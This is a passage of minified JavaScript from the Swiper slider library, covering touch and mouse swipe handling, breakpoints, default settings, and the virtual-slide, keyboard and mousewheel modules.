l=n.currentX,h=n.currentY;if(!(y.ios&&!y.cordova&&r.iOSEdgeSwipeDetection&&l<=r.iOSEdgeSwipeThreshold&&l>=t.screen.width-r.iOSEdgeSwipeThreshold)){if(d.extend(a,{isTouched:!0,isMoved:!1,allowTouchCallbacks:!0,isScrolling:void 0,startMoving:void 0}),n.startX=l,n.startY=h,a.touchStartTime=d.now(),this.allowClick=!0,this.updateSize(),this.swipeDirection=void 0,r.threshold>0&&(a.allowThresholdMove=!1),"touchstart"!==o.type){var p=!0;s(o.target).is(a.formElements)&&(p=!1),e.activeElement&&s(e.activeElement).is(a.formElements)&&e.activeElement!==o.target&&e.activeElement.blur(),p&&this.allowTouchMove&&o.preventDefault()}this.emit("touchStart",o)}}}}.bind(this),this.onTouchMove=function(t){var i=this.touchEventsData,a=this.params,r=this.touches,n=this.rtlTranslate,o=t;if(o.originalEvent&&(o=o.originalEvent),i.isTouched){if(!i.isTouchEvent||"mousemove"!==o.type){var l="touchmove"===o.type?o.targetTouches[0].pageX:o.pageX,h="touchmove"===o.type?o.targetTouches[0].pageY:o.pageY;if(o.preventedByNestedSwiper)return r.startX=l,void(r.startY=h);if(!this.allowTouchMove)return this.allowClick=!1,void(i.isTouched&&(d.extend(r,{startX:l,startY:h,currentX:l,currentY:h}),i.touchStartTime=d.now()));if(i.isTouchEvent&&a.touchReleaseOnEdges&&!a.loop)if(this.isVertical()){if(h<r.startY&&this.translate<=this.maxTranslate()||h>r.startY&&this.translate>=this.minTranslate())return i.isTouched=!1,void(i.isMoved=!1)}else if(l<r.startX&&this.translate<=this.maxTranslate()||l>r.startX&&this.translate>=this.minTranslate())return;if(i.isTouchEvent&&e.activeElement&&o.target===e.activeElement&&s(o.target).is(i.formElements))return i.isMoved=!0,void(this.allowClick=!1);if(i.allowTouchCallbacks&&this.emit("touchMove",o),!(o.targetTouches&&o.targetTouches.length>1)){r.currentX=l,r.currentY=h;var p,c=r.currentX-r.startX,u=r.currentY-r.startY;if(void 0===i.isScrolling&&(this.isHorizontal()&&r.currentY===r.startY||this.isVertical()&&r.currentX===r.startX?i.isScrolling=!1:c*c+u*u>=25&&(p=180*Math.atan2(Math.abs(u),Math.abs(c))/Math.PI,i.isScrolling=this.isHorizontal()?p>a.touchAngle:90-p>a.touchAngle)),i.isScrolling&&this.emit("touchMoveOpposite",o),"undefined"==typeof startMoving&&(r.currentX===r.startX&&r.currentY===r.startY||(i.startMoving=!0)),i.isScrolling)i.isTouched=!1;else if(i.startMoving){this.allowClick=!1,o.preventDefault(),a.touchMoveStopPropagation&&!a.nested&&o.stopPropagation(),i.isMoved||(a.loop&&this.loopFix(),i.startTranslate=this.getTranslate(),this.setTransition(0),this.animating&&this.$wrapperEl.trigger("webkitTransitionEnd transitionend"),i.allowMomentumBounce=!1,!a.grabCursor||!0!==this.allowSlideNext&&!0!==this.allowSlidePrev||this.setGrabCursor(!0),this.emit("sliderFirstMove",o)),this.emit("sliderMove",o),i.isMoved=!0;var v=this.isHorizontal()?c:u;r.diff=v,v*=a.touchRatio,n&&(v=-v),this.swipeDirection=v>0?"prev":"next",i.currentTranslate=v+i.startTranslate;var f=!0,m=a.resistanceRatio;if(a.touchReleaseOnEdges&&(m=0),v>0&&i.currentTranslate>this.minTranslate()?(f=!1,a.resistance&&(i.currentTranslate=this.minTranslate()-1+Math.pow(-this.minTranslate()+i.startTranslate+v,m))):v<0&&i.currentTranslate<this.maxTranslate()&&(f=!1,a.resistance&&(i.currentTranslate=this.maxTranslate()+1-Math.pow(this.maxTranslate()-i.startTranslate-v,m))),f&&(o.preventedByNestedSwiper=!0),!this.allowSlideNext&&"next"===this.swipeDirection&&i.currentTranslate<i.startTranslate&&(i.currentTranslate=i.startTranslate),!this.allowSlidePrev&&"prev"===this.swipeDirection&&i.currentTranslate>i.startTranslate&&(i.currentTranslate=i.startTranslate),a.threshold>0){if(!(Math.abs(v)>a.threshold||i.allowThresholdMove))return void(i.currentTranslate=i.startTranslate);if(!i.allowThresholdMove)return i.allowThresholdMove=!0,r.startX=r.currentX,r.startY=r.currentY,i.currentTranslate=i.startTranslate,void(r.diff=this.isHorizontal()?r.currentX-r.startX:r.currentY-r.startY)}a.followFinger&&((a.freeMode||a.watchSlidesProgress||a.watchSlidesVisibility)&&(this.updateActiveIndex(),this.updateSlidesClasses()),a.freeMode&&(0===i.velocities.length&&i.velocities.push({position:r[this.isHorizontal()?"startX":"startY"],time:i.touchStartTime}),i.velocities.push({position:r[this.isHorizontal()?"currentX":"currentY"],time:d.now()})),this.updateProgress(i.currentTranslate),this.setTranslate(i.currentTranslate))}}}}else i.startMoving&&i.isScrolling&&this.emit("touchMoveOpposite",o)}.bind(this),this.onTouchEnd=function(e){var t=this,i=t.touchEventsData,s=t.params,a=t.touches,r=t.rtlTranslate,n=t.$wrapperEl,o=t.slidesGrid,l=t.snapGrid,h=e;if(h.originalEvent&&(h=h.originalEvent),i.allowTouchCallbacks&&t.emit("touchEnd",h),i.allowTouchCallbacks=!1,!i.isTouched)return i.isMoved&&s.grabCursor&&t.setGrabCursor(!1),i.isMoved=!1,void(i.startMoving=!1);s.grabCursor&&i.isMoved&&i.isTouched&&(!0===t.allowSlideNext||!0===t.allowSlidePrev)&&t.setGrabCursor(!1);var p,c=d.now(),u=c-i.touchStartTime;if(t.allowClick&&(t.updateClickedSlide(h),t.emit("tap",h),u<300&&c-i.lastClickTime>300&&(i.clickTimeout&&clearTimeout(i.clickTimeout),i.clickTimeout=d.nextTick(function(){t&&!t.destroyed&&t.emit("click",h)},300)),u<300&&c-i.lastClickTime<300&&(i.clickTimeout&&clearTimeout(i.clickTimeout),t.emit("doubleTap",h))),i.lastClickTime=d.now(),d.nextTick(function(){t.destroyed||(t.allowClick=!0)}),!i.isTouched||!i.isMoved||!t.swipeDirection||0===a.diff||i.currentTranslate===i.startTranslate)return i.isTouched=!1,i.isMoved=!1,void(i.startMoving=!1);if(i.isTouched=!1,i.isMoved=!1,i.startMoving=!1,p=s.followFinger?r?t.translate:-t.translate:-i.currentTranslate,s.freeMode){if(p<-t.minTranslate())return void t.slideTo(t.activeIndex);if(p>-t.maxTranslate())return void(t.slides.length<l.length?t.slideTo(l.length-1):t.slideTo(t.slides.length-1));if(s.freeModeMomentum){if(i.velocities.length>1){var v=i.velocities.pop(),f=i.velocities.pop(),m=v.position-f.position,g=v.time-f.time;t.velocity=m/g,t.velocity/=2,Math.abs(t.velocity)<s.freeModeMinimumVelocity&&(t.velocity=0),(g>150||d.now()-v.time>300)&&(t.velocity=0)}else t.velocity=0;t.velocity*=s.freeModeMomentumVelocityRatio,i.velocities.length=0;var b=1e3*s.freeModeMomentumRatio,w=t.velocity*b,y=t.translate+w;r&&(y=-y);var x,E,T=!1,S=20*Math.abs(t.velocity)*s.freeModeMomentumBounceRatio;if(y<t.maxTranslate())s.freeModeMomentumBounce?(y+t.maxTranslate()<-S&&(y=t.maxTranslate()-S),x=t.maxTranslate(),T=!0,i.allowMomentumBounce=!0):y=t.maxTranslate(),s.loop&&s.centeredSlides&&(E=!0);else if(y>t.minTranslate())s.freeModeMomentumBounce?(y-t.minTranslate()>S&&(y=t.minTranslate()+S),x=t.minTranslate(),T=!0,i.allowMomentumBounce=!0):y=t.minTranslate(),s.loop&&s.centeredSlides&&(E=!0);else if(s.freeModeSticky){for(var C,M=0;M<l.length;M+=1)if(l[M]>-y){C=M;break}y=-(y=Math.abs(l[C]-y)<Math.abs(l[C-1]-y)||"next"===t.swipeDirection?l[C]:l[C-1])}if(E&&t.once("transitionEnd",function(){t.loopFix()}),0!==t.velocity)b=r?Math.abs((-y-t.translate)/t.velocity):Math.abs((y-t.translate)/t.velocity);else if(s.freeModeSticky)return void t.slideToClosest();s.freeModeMomentumBounce&&T?(t.updateProgress(x),t.setTransition(b),t.setTranslate(y),t.transitionStart(!0,t.swipeDirection),t.animating=!0,n.transitionEnd(function(){t&&!t.destroyed&&i.allowMomentumBounce&&(t.emit("momentumBounce"),t.setTransition(s.speed),t.setTranslate(x),n.transitionEnd(function(){t&&!t.destroyed&&t.transitionEnd()}))})):t.velocity?(t.updateProgress(y),t.setTransition(b),t.setTranslate(y),t.transitionStart(!0,t.swipeDirection),t.animating||(t.animating=!0,n.transitionEnd(function(){t&&!t.destroyed&&t.transitionEnd()}))):t.updateProgress(y),t.updateActiveIndex(),t.updateSlidesClasses()}else if(s.freeModeSticky)return void t.slideToClosest();(!s.freeModeMomentum||u>=s.longSwipesMs)&&(t.updateProgress(),t.updateActiveIndex(),t.updateSlidesClasses())}else{for(var z=0,k=t.slidesSizesGrid[0],P=0;P<o.length;P+=s.slidesPerGroup)void 0!==o[P+s.slidesPerGroup]?p>=o[P]&&p<o[P+s.slidesPerGroup]&&(z=P,k=o[P+s.slidesPerGroup]-o[P]):p>=o[P]&&(z=P,k=o[o.length-1]-o[o.length-2]);var $=(p-o[z])/k;if(u>s.longSwipesMs){if(!s.longSwipes)return void t.slideTo(t.activeIndex);"next"===t.swipeDirection&&($>=s.longSwipesRatio?t.slideTo(z+s.slidesPerGroup):t.slideTo(z)),"prev"===t.swipeDirection&&($>1-s.longSwipesRatio?t.slideTo(z+s.slidesPerGroup):t.slideTo(z))}else{if(!s.shortSwipes)return void t.slideTo(t.activeIndex);"next"===t.swipeDirection&&t.slideTo(z+s.slidesPerGroup),"prev"===t.swipeDirection&&t.slideTo(z)}}}.bind(this),this.onClick=function(e){this.allowClick||(this.params.preventClicks&&e.preventDefault(),this.params.preventClicksPropagation&&this.animating&&(e.stopPropagation(),e.stopImmediatePropagation()))}.bind(this);var o="container"===i.touchEventsTarget?r:n,l=!!i.nested;if(h.touch||!h.pointerEvents&&!h.prefixedPointerEvents){if(h.touch){var p=!("touchstart"!==a.start||!h.passiveListener||!i.passiveListeners)&&{passive:!0,capture:!1};o.addEventListener(a.start,this.onTouchStart,p),o.addEventListener(a.move,this.onTouchMove,h.passiveListener?{passive:!1,capture:l}:l),o.addEventListener(a.end,this.onTouchEnd,p)}(i.simulateTouch&&!y.ios&&!y.android||i.simulateTouch&&!h.touch&&y.ios)&&(o.addEventListener("mousedown",this.onTouchStart,!1),e.addEventListener("mousemove",this.onTouchMove,l),e.addEventListener("mouseup",this.onTouchEnd,!1))}else o.addEventListener(a.start,this.onTouchStart,!1),e.addEventListener(a.move,this.onTouchMove,l),e.addEventListener(a.end,this.onTouchEnd,!1);(i.preventClicks||i.preventClicksPropagation)&&o.addEventListener("click",this.onClick,!0),this.on("resize observerUpdate",x,!0)},detachEvents:function(){var t=this.params,i=this.touchEvents,s=this.el,a=this.wrapperEl,r="container"===t.touchEventsTarget?s:a,n=!!t.nested;if(h.touch||!h.pointerEvents&&!h.prefixedPointerEvents){if(h.touch){var o=!("onTouchStart"!==i.start||!h.passiveListener||!t.passiveListeners)&&{passive:!0,capture:!1};r.removeEventListener(i.start,this.onTouchStart,o),r.removeEventListener(i.move,this.onTouchMove,n),r.removeEventListener(i.end,this.onTouchEnd,o)}(t.simulateTouch&&!y.ios&&!y.android||t.simulateTouch&&!h.touch&&y.ios)&&(r.removeEventListener("mousedown",this.onTouchStart,!1),e.removeEventListener("mousemove",this.onTouchMove,n),e.removeEventListener("mouseup",this.onTouchEnd,!1))}else r.removeEventListener(i.start,this.onTouchStart,!1),e.removeEventListener(i.move,this.onTouchMove,n),e.removeEventListener(i.end,this.onTouchEnd,!1);(t.preventClicks||t.preventClicksPropagation)&&r.removeEventListener("click",this.onClick,!0),this.off("resize observerUpdate",x)}};var T={setBreakpoint:function(){var e=this.activeIndex,t=this.loopedSlides;void 0===t&&(t=0);var i=this.params,s=i.breakpoints;if(s&&(!s||0!==Object.keys(s).length)){var a=this.getBreakpoint(s);if(a&&this.currentBreakpoint!==a){var r=a in s?s[a]:this.originalParams,n=i.loop&&r.slidesPerView!==i.slidesPerView;d.extend(this.params,r),d.extend(this,{allowTouchMove:this.params.allowTouchMove,allowSlideNext:this.params.allowSlideNext,allowSlidePrev:this.params.allowSlidePrev}),this.currentBreakpoint=a,n&&(this.loopDestroy(),this.loopCreate(),this.updateSlides(),this.slideTo(e-t+this.loopedSlides,0,!1)),this.emit("breakpoint",r)}}},getBreakpoint:function(e){if(e){var i=!1,s=[];Object.keys(e).forEach(function(e){s.push(e)}),s.sort(function(e,t){return parseInt(e,10)-parseInt(t,10)});for(var a=0;a<s.length;a+=1){var r=s[a];r>=t.innerWidth&&!i&&(i=r)}return i||"max"}}},S=function(){return{isIE:!!t.navigator.userAgent.match(/Trident/g)||!!t.navigator.userAgent.match(/MSIE/g),isSafari:(e=t.navigator.userAgent.toLowerCase(),e.indexOf("safari")>=0&&e.indexOf("chrome")<0&&e.indexOf("android")<0),isUiWebView:/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(t.navigator.userAgent)};var e}();var C={init:!0,direction:"horizontal",touchEventsTarget:"container",initialSlide:0,speed:300,preventIntercationOnTransition:!1,iOSEdgeSwipeDetection:!1,iOSEdgeSwipeThreshold:20,freeMode:!1,freeModeMomentum:!0,freeModeMomentumRatio:1,freeModeMomentumBounce:!0,freeModeMomentumBounceRatio:1,freeModeMomentumVelocityRatio:1,freeModeSticky:!1,freeModeMinimumVelocity:.02,autoHeight:!1,setWrapperSize:!1,virtualTranslate:!1,effect:"slide",breakpoints:void 0,spaceBetween:0,slidesPerView:1,slidesPerColumn:1,slidesPerColumnFill:"column",slidesPerGroup:1,centeredSlides:!1,slidesOffsetBefore:0,slidesOffsetAfter:0,normalizeSlideIndex:!0,watchOverflow:!1,roundLengths:!1,touchRatio:1,touchAngle:45,simulateTouch:!0,shortSwipes:!0,longSwipes:!0,longSwipesRatio:.5,longSwipesMs:300,followFinger:!0,allowTouchMove:!0,threshold:0,touchMoveStopPropagation:!0,touchReleaseOnEdges:!1,uniqueNavElements:!0,resistance:!0,resistanceRatio:.85,watchSlidesProgress:!1,watchSlidesVisibility:!1,grabCursor:!1,preventClicks:!0,preventClicksPropagation:!0,slideToClickedSlide:!1,preloadImages:!0,updateOnImagesReady:!0,loop:!1,loopAdditionalSlides:0,loopedSlides:null,loopFillGroupWithBlank:!1,allowSlidePrev:!0,allowSlideNext:!0,swipeHandler:null,noSwiping:!0,noSwipingClass:"swiper-no-swiping",noSwipingSelector:null,passiveListeners:!0,containerModifierClass:"swiper-container-",slideClass:"swiper-slide",slideBlankClass:"swiper-slide-invisible-blank",slideActiveClass:"swiper-slide-active",slideDuplicateActiveClass:"swiper-slide-duplicate-active",slideVisibleClass:"swiper-slide-visible",slideDuplicateClass:"swiper-slide-duplicate",slideNextClass:"swiper-slide-next",slideDuplicateNextClass:"swiper-slide-duplicate-next",slidePrevClass:"swiper-slide-prev",slideDuplicatePrevClass:"swiper-slide-duplicate-prev",wrapperClass:"swiper-wrapper",runCallbacksOnInit:!0},M={update:u,translate:v,transition:f,slide:m,loop:g,grabCursor:b,manipulation:w,events:E,breakpoints:T,checkOverflow:{checkOverflow:function(){var e=this.isLocked;this.isLocked=1===this.snapGrid.length,this.allowSlideNext=!this.isLocked,this.allowSlidePrev=!this.isLocked,e!==this.isLocked&&this.emit(this.isLocked?"lock":"unlock"),e&&e!==this.isLocked&&(this.isEnd=!1,this.navigation.update())}},classes:{addClasses:function(){var e=this.classNames,t=this.params,i=this.rtl,s=this.$el,a=[];a.push(t.direction),t.freeMode&&a.push("free-mode"),h.flexbox||a.push("no-flexbox"),t.autoHeight&&a.push("autoheight"),i&&a.push("rtl"),t.slidesPerColumn>1&&a.push("multirow"),y.android&&a.push("android"),y.ios&&a.push("ios"),S.isIE&&(h.pointerEvents||h.prefixedPointerEvents)&&a.push("wp8-"+t.direction),a.forEach(function(i){e.push(t.containerModifierClass+i)}),s.addClass(e.join(" "))},removeClasses:function(){var e=this.$el,t=this.classNames;e.removeClass(t.join(" "))}},images:{loadImage:function(e,i,s,a,r,n){var o;function l(){n&&n()}e.complete&&r?l():i?((o=new t.Image).onload=l,o.onerror=l,a&&(o.sizes=a),s&&(o.srcset=s),i&&(o.src=i)):l()},preloadImages:function(){var e=this;function t(){void 0!==e&&null!==e&&e&&!e.destroyed&&(void 0!==e.imagesLoaded&&(e.imagesLoaded+=1),e.imagesLoaded===e.imagesToLoad.length&&(e.params.updateOnImagesReady&&e.update(),e.emit("imagesReady")))}e.imagesToLoad=e.$el.find("img");for(var i=0;i<e.imagesToLoad.length;i+=1){var s=e.imagesToLoad[i];e.loadImage(s,s.currentSrc||s.getAttribute("src"),s.srcset||s.getAttribute("srcset"),s.sizes||s.getAttribute("sizes"),!0,t)}}}},z={},k=function(e){function t(){for(var i,a,r,n=[],o=arguments.length;o--;)n[o]=arguments[o];1===n.length&&n[0].constructor&&n[0].constructor===Object?r=n[0]:(a=(i=n)[0],r=i[1]),r||(r={}),r=d.extend({},r),a&&!r.el&&(r.el=a),e.call(this,r),Object.keys(M).forEach(function(e){Object.keys(M[e]).forEach(function(i){t.prototype[i]||(t.prototype[i]=M[e][i])})});var l=this;void 0===l.modules&&(l.modules={}),Object.keys(l.modules).forEach(function(e){var t=l.modules[e];if(t.params){var i=Object.keys(t.params)[0],s=t.params[i];if("object"!=typeof s)return;if(!(i in r&&"enabled"in s))return;!0===r[i]&&(r[i]={enabled:!0}),"object"!=typeof r[i]||"enabled"in r[i]||(r[i].enabled=!0),r[i]||(r[i]={enabled:!1})}});var p=d.extend({},C);l.useModulesParams(p),l.params=d.extend({},p,z,r),l.originalParams=d.extend({},l.params),l.passedParams=d.extend({},r),l.$=s;var c=s(l.params.el);if(a=c[0]){if(c.length>1){var u=[];return c.each(function(e,i){var s=d.extend({},r,{el:i});u.push(new t(s))}),u}a.swiper=l,c.data("swiper",l);var v,f,m=c.children("."+l.params.wrapperClass);return d.extend(l,{$el:c,el:a,$wrapperEl:m,wrapperEl:m[0],classNames:[],slides:s(),slidesGrid:[],snapGrid:[],slidesSizesGrid:[],isHorizontal:function(){return"horizontal"===l.params.direction},isVertical:function(){return"vertical"===l.params.direction},rtl:"rtl"===a.dir.toLowerCase()||"rtl"===c.css("direction"),rtlTranslate:"horizontal"===l.params.direction&&("rtl"===a.dir.toLowerCase()||"rtl"===c.css("direction")),wrongRTL:"-webkit-box"===m.css("display"),activeIndex:0,realIndex:0,isBeginning:!0,isEnd:!1,translate:0,progress:0,velocity:0,animating:!1,allowSlideNext:l.params.allowSlideNext,allowSlidePrev:l.params.allowSlidePrev,touchEvents:(v=["touchstart","touchmove","touchend"],f=["mousedown","mousemove","mouseup"],h.pointerEvents?f=["pointerdown","pointermove","pointerup"]:h.prefixedPointerEvents&&(f=["MSPointerDown","MSPointerMove","MSPointerUp"]),l.touchEventsTouch={start:v[0],move:v[1],end:v[2]},l.touchEventsDesktop={start:f[0],move:f[1],end:f[2]},h.touch||!l.params.simulateTouch?l.touchEventsTouch:l.touchEventsDesktop),touchEventsData:{isTouched:void 0,isMoved:void 0,allowTouchCallbacks:void 0,touchStartTime:void 0,isScrolling:void 0,currentTranslate:void 0,startTranslate:void 0,allowThresholdMove:void 0,formElements:"input, select, option, textarea, button, video",lastClickTime:d.now(),clickTimeout:void 0,velocities:[],allowMomentumBounce:void 0,isTouchEvent:void 0,startMoving:void 0},allowClick:!0,allowTouchMove:l.params.allowTouchMove,touches:{startX:0,startY:0,currentX:0,currentY:0,diff:0},imagesToLoad:[],imagesLoaded:0}),l.useModules(),l.params.init&&l.init(),l}}e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t;var i={extendedDefaults:{configurable:!0},defaults:{configurable:!0},Class:{configurable:!0},$:{configurable:!0}};return t.prototype.slidesPerViewDynamic=function(){var e=this.params,t=this.slides,i=this.slidesGrid,s=this.size,a=this.activeIndex,r=1;if(e.centeredSlides){for(var n,o=t[a].swiperSlideSize,l=a+1;l<t.length;l+=1)t[l]&&!n&&(r+=1,(o+=t[l].swiperSlideSize)>s&&(n=!0));for(var d=a-1;d>=0;d-=1)t[d]&&!n&&(r+=1,(o+=t[d].swiperSlideSize)>s&&(n=!0))}else for(var h=a+1;h<t.length;h+=1)i[h]-i[a]<s&&(r+=1);return r},t.prototype.update=function(){var e=this;if(e&&!e.destroyed){var t=e.snapGrid,i=e.params;i.breakpoints&&e.setBreakpoint(),e.updateSize(),e.updateSlides(),e.updateProgress(),e.updateSlidesClasses(),e.params.freeMode?(s(),e.params.autoHeight&&e.updateAutoHeight()):(("auto"===e.params.slidesPerView||e.params.slidesPerView>1)&&e.isEnd&&!e.params.centeredSlides?e.slideTo(e.slides.length-1,0,!1,!0):e.slideTo(e.activeIndex,0,!1,!0))||s(),i.watchOverflow&&t!==e.snapGrid&&e.checkOverflow(),e.emit("update")}function s(){var t=e.rtlTranslate?-1*e.translate:e.translate,i=Math.min(Math.max(t,e.maxTranslate()),e.minTranslate());e.setTranslate(i),e.updateActiveIndex(),e.updateSlidesClasses()}},t.prototype.init=function(){this.initialized||(this.emit("beforeInit"),this.params.breakpoints&&this.setBreakpoint(),this.addClasses(),this.params.loop&&this.loopCreate(),this.updateSize(),this.updateSlides(),this.params.watchOverflow&&this.checkOverflow(),this.params.grabCursor&&this.setGrabCursor(),this.params.preloadImages&&this.preloadImages(),this.params.loop?this.slideTo(this.params.initialSlide+this.loopedSlides,0,this.params.runCallbacksOnInit):this.slideTo(this.params.initialSlide,0,this.params.runCallbacksOnInit),this.attachEvents(),this.initialized=!0,this.emit("init"))},t.prototype.destroy=function(e,t){void 0===e&&(e=!0),void 0===t&&(t=!0);var i=this,s=i.params,a=i.$el,r=i.$wrapperEl,n=i.slides;i.emit("beforeDestroy"),i.initialized=!1,i.detachEvents(),s.loop&&i.loopDestroy(),t&&(i.removeClasses(),a.removeAttr("style"),r.removeAttr("style"),n&&n.length&&n.removeClass([s.slideVisibleClass,s.slideActiveClass,s.slideNextClass,s.slidePrevClass].join(" ")).removeAttr("style").removeAttr("data-swiper-slide-index").removeAttr("data-swiper-column").removeAttr("data-swiper-row")),i.emit("destroy"),Object.keys(i.eventsListeners).forEach(function(e){i.off(e)}),!1!==e&&(i.$el[0].swiper=null,i.$el.data("swiper",null),d.deleteProps(i)),i.destroyed=!0},t.extendDefaults=function(e){d.extend(z,e)},i.extendedDefaults.get=function(){return z},i.defaults.get=function(){return C},i.Class.get=function(){return e},i.$.get=function(){return s},Object.defineProperties(t,i),t}(p),P={name:"device",proto:{device:y},static:{device:y}},$={name:"support",proto:{support:h},static:{support:h}},L={name:"browser",proto:{browser:S},static:{browser:S}},I={name:"resize",create:function(){var e=this;d.extend(e,{resize:{resizeHandler:function(){e&&!e.destroyed&&e.initialized&&(e.emit("beforeResize"),e.emit("resize"))},orientationChangeHandler:function(){e&&!e.destroyed&&e.initialized&&e.emit("orientationchange")}}})},on:{init:function(){t.addEventListener("resize",this.resize.resizeHandler),t.addEventListener("orientationchange",this.resize.orientationChangeHandler)},destroy:function(){t.removeEventListener("resize",this.resize.resizeHandler),t.removeEventListener("orientationchange",this.resize.orientationChangeHandler)}}},D={func:t.MutationObserver||t.WebkitMutationObserver,attach:function(e,t){void 0===t&&(t={});var i=this,s=new(0,D.func)(function(e){e.forEach(function(e){i.emit("observerUpdate",e)})});s.observe(e,{attributes:void 0===t.attributes||t.attributes,childList:void 0===t.childList||t.childList,characterData:void 0===t.characterData||t.characterData}),i.observer.observers.push(s)},init:function(){if(h.observer&&this.params.observer){if(this.params.observeParents)for(var e=this.$el.parents(),t=0;t<e.length;t+=1)this.observer.attach(e[t]);this.observer.attach(this.$el[0],{childList:!1}),this.observer.attach(this.$wrapperEl[0],{attributes:!1})}},destroy:function(){this.observer.observers.forEach(function(e){e.disconnect()}),this.observer.observers=[]}},O={name:"observer",params:{observer:!1,observeParents:!1},create:function(){d.extend(this,{observer:{init:D.init.bind(this),attach:D.attach.bind(this),destroy:D.destroy.bind(this),observers:[]}})},on:{init:function(){this.observer.init()},destroy:function(){this.observer.destroy()}}},A={update:function(e){var t=this,i=t.params,s=i.slidesPerView,a=i.slidesPerGroup,r=i.centeredSlides,n=t.virtual,o=n.from,l=n.to,h=n.slides,p=n.slidesGrid,c=n.renderSlide,u=n.offset;t.updateActiveIndex();var v,f,m,g=t.activeIndex||0;v=t.rtlTranslate?"right":t.isHorizontal()?"left":"top",r?(f=Math.floor(s/2)+a,m=Math.floor(s/2)+a):(f=s+(a-1),m=a);var b=Math.max((g||0)-m,0),w=Math.min((g||0)+f,h.length-1),y=(t.slidesGrid[b]||0)-(t.slidesGrid[0]||0);function x(){t.updateSlides(),t.updateProgress(),t.updateSlidesClasses(),t.lazy&&t.params.lazy.enabled&&t.lazy.load()}if(d.extend(t.virtual,{from:b,to:w,offset:y,slidesGrid:t.slidesGrid}),o===b&&l===w&&!e)return t.slidesGrid!==p&&y!==u&&t.slides.css(v,y+"px"),void t.updateProgress();if(t.params.virtual.renderExternal)return t.params.virtual.renderExternal.call(t,{offset:y,from:b,to:w,slides:function(){for(var e=[],t=b;t<=w;t+=1)e.push(h[t]);return e}()}),void x();var E=[],T=[];if(e)t.$wrapperEl.find("."+t.params.slideClass).remove();else for(var S=o;S<=l;S+=1)(S<b||S>w)&&t.$wrapperEl.find("."+t.params.slideClass+'[data-swiper-slide-index="'+S+'"]').remove();for(var C=0;C<h.length;C+=1)C>=b&&C<=w&&(void 0===l||e?T.push(C):(C>l&&T.push(C),C<o&&E.push(C)));T.forEach(function(e){t.$wrapperEl.append(c(h[e],e))}),E.sort(function(e,t){return e<t}).forEach(function(e){t.$wrapperEl.prepend(c(h[e],e))}),t.$wrapperEl.children(".swiper-slide").css(v,y+"px"),x()},renderSlide:function(e,t){var i=this.params.virtual;if(i.cache&&this.virtual.cache[t])return this.virtual.cache[t];var a=i.renderSlide?s(i.renderSlide.call(this,e,t)):s('<div class="'+this.params.slideClass+'" data-swiper-slide-index="'+t+'">'+e+"</div>");return a.attr("data-swiper-slide-index")||a.attr("data-swiper-slide-index",t),i.cache&&(this.virtual.cache[t]=a),a},appendSlide:function(e){this.virtual.slides.push(e),this.virtual.update(!0)},prependSlide:function(e){if(this.virtual.slides.unshift(e),this.params.virtual.cache){var t=this.virtual.cache,i={};Object.keys(t).forEach(function(e){i[e+1]=t[e]}),this.virtual.cache=i}this.virtual.update(!0),this.slideNext(0)}},G={name:"virtual",params:{virtual:{enabled:!1,slides:[],cache:!0,renderSlide:null,renderExternal:null}},create:function(){d.extend(this,{virtual:{update:A.update.bind(this),appendSlide:A.appendSlide.bind(this),prependSlide:A.prependSlide.bind(this),renderSlide:A.renderSlide.bind(this),slides:this.params.virtual.slides,cache:{}}})},on:{beforeInit:function(){if(this.params.virtual.enabled){this.classNames.push(this.params.containerModifierClass+"virtual");var e={watchSlidesProgress:!0};d.extend(this.params,e),d.extend(this.originalParams,e),this.virtual.update()}},setTranslate:function(){this.params.virtual.enabled&&this.virtual.update()}}},H={handle:function(i){var s=this.rtlTranslate,a=i;a.originalEvent&&(a=a.originalEvent);var r=a.keyCode||a.charCode;if(!this.allowSlideNext&&(this.isHorizontal()&&39===r||this.isVertical()&&40===r))return!1;if(!this.allowSlidePrev&&(this.isHorizontal()&&37===r||this.isVertical()&&38===r))return!1;if(!(a.shiftKey||a.altKey||a.ctrlKey||a.metaKey||e.activeElement&&e.activeElement.nodeName&&("input"===e.activeElement.nodeName.toLowerCase()||"textarea"===e.activeElement.nodeName.toLowerCase()))){if(this.params.keyboard.onlyInViewport&&(37===r||39===r||38===r||40===r)){var n=!1;if(this.$el.parents("."+this.params.slideClass).length>0&&0===this.$el.parents("."+this.params.slideActiveClass).length)return;var o=t.innerWidth,l=t.innerHeight,d=this.$el.offset();s&&(d.left-=this.$el[0].scrollLeft);for(var h=[[d.left,d.top],[d.left+this.width,d.top],[d.left,d.top+this.height],[d.left+this.width,d.top+this.height]],p=0;p<h.length;p+=1){var c=h[p];c[0]>=0&&c[0]<=o&&c[1]>=0&&c[1]<=l&&(n=!0)}if(!n)return}this.isHorizontal()?(37!==r&&39!==r||(a.preventDefault?a.preventDefault():a.returnValue=!1),(39===r&&!s||37===r&&s)&&this.slideNext(),(37===r&&!s||39===r&&s)&&this.slidePrev()):(38!==r&&40!==r||(a.preventDefault?a.preventDefault():a.returnValue=!1),40===r&&this.slideNext(),38===r&&this.slidePrev()),this.emit("keyPress",r)}},enable:function(){this.keyboard.enabled||(s(e).on("keydown",this.keyboard.handle),this.keyboard.enabled=!0)},disable:function(){this.keyboard.enabled&&(s(e).off("keydown",this.keyboard.handle),this.keyboard.enabled=!1)}},N={name:"keyboard",params:{keyboard:{enabled:!1,onlyInViewport:!0}},create:function(){d.extend(this,{keyboard:{enabled:!1,enable:H.enable.bind(this),disable:H.disable.bind(this),handle:H.handle.bind(this)}})},on:{init:function(){this.params.keyboard.enabled&&this.keyboard.enable()},destroy:function(){this.keyboard.enabled&&this.keyboard.disable()}}};var B={lastScrollTime:d.now(),event:t.navigator.userAgent.indexOf("firefox")>-1?"DOMMouseScroll":function(){var t="onwheel"in e;if(!t){var i=e.createElement("div");i.setAttribute("onwheel","return;"),t="function"==typeof i.onwheel}return!t&&e.implementation&&e.implementation.hasFeature&&!0!==e.implementation.hasFeature("","")&&(t=e.implementation.hasFeature("Events.wheel","3.0")),t}()?"wheel":"mousewheel",normalize:function(e){var t=0,i=0,s=0,a=0;return"detail"in e&&(i=e.detail),"wheelDelta"in e&&(i=-e.wheelDelta/120),"wheelDeltaY"in e&&(i=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(t=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=i,i=0),s=10*t,a=10*i,"deltaY"in e&&(a=e.deltaY),"deltaX"in 